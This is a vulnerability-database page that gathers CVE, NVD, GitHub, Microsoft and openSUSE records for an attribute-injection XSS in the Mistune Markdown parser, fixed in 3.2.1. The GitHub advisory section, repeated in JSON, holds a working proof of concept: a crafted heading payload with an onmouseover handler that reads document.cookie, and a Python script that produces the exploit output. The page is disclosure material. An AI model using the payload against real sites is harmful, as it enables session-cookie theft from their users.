Vulnerability-Lookup

CVE-2026-44897 (GCVE-0-2026-44897)

Vulnerability from cvelistv5 – Published: 2026-05-26 20:40 – Updated: 2026-05-26 20:40

Title

Mistune Heading ID Attribute Injection XSS

Summary

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/lepture/mistune/security/advis…	x_refsource_CONFIRM
https://github.com/lepture/mistune/releases/tag/v3.2.1	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
lepture	mistune	Affected: < 3.2.1

Show details on NVD website

JSON

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{
  "containers": {
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      "affected": [
        {
          "product": "mistune",
          "vendor": "lepture",
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            {
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        }
      ],
      "metrics": [
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          "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
        },
        {
          "name": "https://github.com/lepture/mistune/releases/tag/v3.2.1",
          "tags": [
            "x_refsource_MISC"
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          "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
        }
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      "source": {
        "advisory": "GHSA-v87v-83h2-53w7",
        "discovery": "UNKNOWN"
      },
      "title": "Mistune Heading ID Attribute Injection XSS"
    }
  },
  "cveMetadata": {
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    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-44897",
    "datePublished": "2026-05-26T20:40:42.290Z",
    "dateReserved": "2026-05-07T21:50:33.546Z",
    "dateUpdated": "2026-05-26T20:40:42.290Z",
    "state": "PUBLISHED"
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      "date": "2026-05-28",
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  }
}

FKIE_CVE-2026-44897

Vulnerability from fkie_nvd - Published: 2026-05-26 21:16 - Updated: 2026-05-28 13:42

Severity

6.1 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/lepture/mistune/releases/tag/v3.2.1	Product, Release Notes
	security-advisories@github.com	https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	mistune_project	mistune	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:mistune_project:mistune:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "A91629D7-7A30-4A3F-B1AD-17FE21D59820",
              "versionEndExcluding": "3.2.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening \u003chN\u003e tag by string-concatenating the id attribute value directly into the HTML \u2014 with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character \" in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1."
    }
  ],
  "id": "CVE-2026-44897",
  "lastModified": "2026-05-28T13:42:42.863",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-26T21:16:39.657",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
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        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-V87V-83H2-53W7

Vulnerability from github – Published: 2026-05-09 00:13 – Updated: 2026-05-09 00:13

Summary

Mistune Heading ID Attribute has Injection XSS

Details

Summary

HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element.

The default TOC hook assigns safe auto-incremented IDs (toc_1, toc_2, …) that never contain user text. However, the add_toc_hook() API accepts a caller-supplied heading_id callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like #installation or #getting-started — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the id= attribute.

Details

File: src/mistune/renderers/html.py

def heading(self, text: str, level: int, **attrs: Any) -> str:
    tag = "h" + str(level)
    html = "<" + tag
    _id = attrs.get("id")
    if _id:
        html += ' id="' + _id + '"'    # ← _id is never escaped
    return html + ">" + text + "</" + tag + ">\n"

The text body (line content) is escaped upstream by the inline token renderer, which is why text arrives as " etc. But _id arrives as a raw string directly from whatever the heading_id callback returned — no escaping occurs at any point in the pipeline.

PoC

Step 1 — Establish the baseline (safe default IDs)

The script creates a parser with escape=True and the default add_toc_hook() (no custom heading_id callback). The default hook generates sequential numeric IDs:

md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, …

bl_src = "## Introduction\n"
bl_out, _ = md_safe.parse(bl_src)

Output — ID is auto-generated, no user text appears in it:

<h2 id="toc_1">Introduction</h2>

Step 2 — Add the realistic trigger: a text-based heading_id callback

Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, mkdocs, sphinx, jekyll all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:

def raw_id(token, index):
    return token.get("text", "")   # returns raw heading text as the ID

md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

Step 3 — Craft the exploit payload

Construct a heading whose text contains a double-quote followed by an injected attribute:

## foo" onmouseover="alert(document.cookie)" x="

When raw_id is called, token["text"] is foo" onmouseover="alert(document.cookie)" x=". This is passed verbatim to heading() as the id attribute value.

Step 4 — Observe attribute breakout in the output

ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n'
ex_out, _ = md_vuln.parse(ex_src)

Actual output:

<h2 id="foo" onmouseover="alert(document.cookie)" x="">foo&quot; onmouseover=&quot;alert(document.cookie)&quot; x=&quot;</h2>

Note: the heading body text is correctly escaped ("), but the id= attribute is not. A user who moves their mouse over the heading triggers alert(document.cookie). Any JavaScript payload can be substituted.

Script

A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.

#!/usr/bin/env python3
"""H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook

def raw_id(token, index):
    return token.get("text", "")

# --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)

bl_file = "baseline_h2.md"
bl_src  = "## Introduction\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
    f.write(bl_src)
bl_out, _ = md_safe.parse(bl_src)

print(f"[{bl_file}]\n{bl_src}")
print("[output — id=toc_1, no user content, safe]")
print(bl_out)

# --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

ex_file = "exploit_h2.md"
ex_src  = '## foo" onmouseover="alert(document.cookie)" x="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
    f.write(ex_src)
ex_out, _ = md_vuln.parse(ex_src)

print(f"[{ex_file}]\n{ex_src}")
print("[output — heading_id returns raw text, id= not escaped]")
print(ex_out)

# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit  .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""

def case(kind, label, filename, src, out):
    return f"""
<div class="case {kind}">
  <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>
  <div class="panels">
    <div class="panel">
      <h3>Input — {h.escape(filename)}</h3>
      <pre>{h.escape(src)}</pre>
    </div>
    <div class="panel">
      <h3>Output — HTML source</h3>
      <pre>{h.escape(out)}</pre>
      <div class="rlabel">↓ rendered in browser (hover the heading to trigger onmouseover)</div>
      <div class="rendered">{out}</div>
    </div>
  </div>
</div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H2 — Heading ID XSS</title><style>{CSS}</style></head><body>
<h1>H2 — Heading ID XSS (unescaped id= attribute)</h1>
<p class="desc">HTMLRenderer.heading() in renderers/html.py does html += ' id="' + _id + '"' with no escaping.
Triggered when heading_id callback returns raw heading text — the most common doc-generator pattern.</p>
{case("baseline", "Clean heading → sequential id=toc_1, safe", bl_file, bl_src, bl_out)}
{case("exploit",  "Malicious heading → quotes break out of id=, onmouseover injected", ex_file, ex_src, ex_out)}
</body></html>"""

out_path = os.path.join(os.getcwd(), "report_h2.html")
with open(out_path, "w") as f:
    f.write(page)
print(f"\n[report] {out_path}")

Example Usage:

python poc.py

Once the script is run, open report_h2.html in the browser and observe the behaviour.

Impact

Dimension	Assessment
Confidentiality	Session cookie / auth token theft via JavaScript execution triggered on mouse interaction
Integrity	DOM manipulation, phishing content injection, forced navigation
Availability	Page freeze or crash available to attacker

Risk context: This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's heading_id callback without independently sanitising the returned value.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44897"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-09T00:13:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n`HTMLRenderer.heading()` builds the opening `\u003chN\u003e` tag by string-concatenating the `id` attribute value directly into the HTML \u2014 with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, \u2026) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself \u2014 to produce human-readable slug anchors like `#installation` or `#getting-started` \u2014 is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -\u003e str:\n    tag = \"h\" + str(level)\n    html = \"\u003c\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027    # \u2190 _id is never escaped\n    return html + \"\u003e\" + text + \"\u003c/\" + tag + \"\u003e\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `\u0026quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned \u2014 no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, \u2026\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput \u2014 ID is auto-generated, no user text appears in it:\n```html\n\u003ch2 id=\"toc_1\"\u003eIntroduction\u003c/h2\u003e\n```\n\n**Step 2 \u2014 Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version \u2014 return the raw heading text unchanged \u2014 to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 \u2014 Observe attribute breakout in the output**\n\n```python\nex_src = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n\u003ch2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003efoo\u0026quot; onmouseover=\u0026quot;alert(document.cookie)\u0026quot; x=\u0026quot;\u003c/h2\u003e\n```\n\nNote: the heading **body text** is correctly escaped (`\u0026quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim \u2014 no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser (hover the heading to trigger onmouseover)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH2 \u2014 Heading ID XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH2 \u2014 Heading ID XSS (unescaped id= attribute)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003eHTMLRenderer.heading() in renderers/html.py does html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027 with no escaping.\nTriggered when heading_id callback returns raw heading text \u2014 the most common doc-generator pattern.\u003c/p\u003e\n{case(\"baseline\", \"Clean heading \u2192 sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading \u2192 quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune\u0027s `heading_id` callback without independently sanitising the returned value.",
  "id": "GHSA-v87v-83h2-53w7",
  "modified": "2026-05-09T00:13:12Z",
  "published": "2026-05-09T00:13:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Heading ID Attribute has Injection XSS"
}

MSRC_CVE-2026-44897

Vulnerability from csaf_microsoft - Published: 2026-05-02 00:00 - Updated: 2026-05-28 01:06

Summary

Mistune Heading ID Attribute Injection XSS

Notes

Additional Resources: To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle

Disclaimer: The information provided in the Microsoft Knowledge Base is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

CVE-2026-44897

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
Unresolved product id: 17084-1		—	None Available

References

4 references

URL	Category
https://msrc.microsoft.com/csaf/vex/2026/msrc_cve…	self
https://support.microsoft.com/lifecycle	external
https://www.first.org/cvss	external
https://msrc.microsoft.com/csaf/vex/2026/msrc_cve…	self

JSON

To clipboard

{
  "document": {
    "category": "csaf_vex",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Public",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en-US",
    "notes": [
      {
        "category": "general",
        "text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
        "title": "Disclaimer"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "secure@microsoft.com",
      "name": "Microsoft Security Response Center",
      "namespace": "https://msrc.microsoft.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "CVE-2026-44897 Mistune Heading ID Attribute Injection XSS - VEX",
        "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-44897.json"
      },
      {
        "category": "external",
        "summary": "Microsoft Support Lifecycle",
        "url": "https://support.microsoft.com/lifecycle"
      },
      {
        "category": "external",
        "summary": "Common Vulnerability Scoring System",
        "url": "https://www.first.org/cvss"
      }
    ],
    "title": "Mistune Heading ID Attribute Injection XSS",
    "tracking": {
      "current_release_date": "2026-05-28T01:06:27.000Z",
      "generator": {
        "date": "2026-05-28T07:20:09.736Z",
        "engine": {
          "name": "MSRC Generator",
          "version": "1.0"
        }
      },
      "id": "msrc_CVE-2026-44897",
      "initial_release_date": "2026-05-02T00:00:00.000Z",
      "revision_history": [
        {
          "date": "2026-05-28T01:06:27.000Z",
          "legacy_version": "1",
          "number": "1",
          "summary": "Information published."
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "3.0",
                "product": {
                  "name": "Azure Linux 3.0",
                  "product_id": "17084"
                }
              }
            ],
            "category": "product_name",
            "name": "Azure Linux"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "azl3 python-mistune 0:3.0.2-1.azl3",
                "product": {
                  "name": "azl3 python-mistune 0:3.0.2-1.azl3",
                  "product_id": "1"
                }
              }
            ],
            "category": "product_name",
            "name": "python-mistune"
          }
        ],
        "category": "vendor",
        "name": "Microsoft"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "azl3 python-mistune 0:3.0.2-1.azl3 as a component of Azure Linux 3.0",
          "product_id": "17084-1"
        },
        "product_reference": "1",
        "relates_to_product_reference": "17084"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-44897",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "notes": [
        {
          "category": "general",
          "text": "GitHub_M",
          "title": "Assigning CNA"
        }
      ],
      "product_status": {
        "known_affected": [
          "17084-1"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "CVE-2026-44897 Mistune Heading ID Attribute Injection XSS - VEX",
          "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-44897.json"
        }
      ],
      "remediations": [
        {
          "category": "none_available",
          "date": "2026-05-28T01:06:27.000Z",
          "details": "There is no fix available for this vulnerability as of now",
          "product_ids": [
            "17084-1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "environmentalsScore": 0.0,
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "temporalScore": 6.1,
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "17084-1"
          ]
        }
      ],
      "title": "Mistune Heading ID Attribute Injection XSS"
    }
  ]
}

OPENSUSE-SU-2026:10761-1

Vulnerability from csaf_opensuse - Published: 2026-05-12 00:00 - Updated: 2026-05-12 00:00

Summary

python311-mistune-3.2.1-1.1 on GA media

Severity

Moderate

Notes

Title of the patch: python311-mistune-3.2.1-1.1 on GA media

Description of the patch: These are all security issues fixed in the python311-mistune-3.2.1-1.1 package on the GA media of openSUSE Tumbleweed.

Patchnames: openSUSE-Tumbleweed-2026-10761

CVE-2026-33079

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected products

Recommended 12 products

Product	Version	Remediation
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.aarch64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.ppc64le	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.s390x	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.x86_64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.aarch64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.ppc64le	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.s390x	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.x86_64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.aarch64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.ppc64le	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.s390x	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.x86_64	—	Vendor Fix

Threats

Impact important

CVE-2026-33441

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected products

Recommended 12 products

Product	Version	Remediation
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.aarch64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.ppc64le	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.s390x	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.x86_64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.aarch64	—	Vendor Fix
Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.ppc64le	—	Vendor Fix
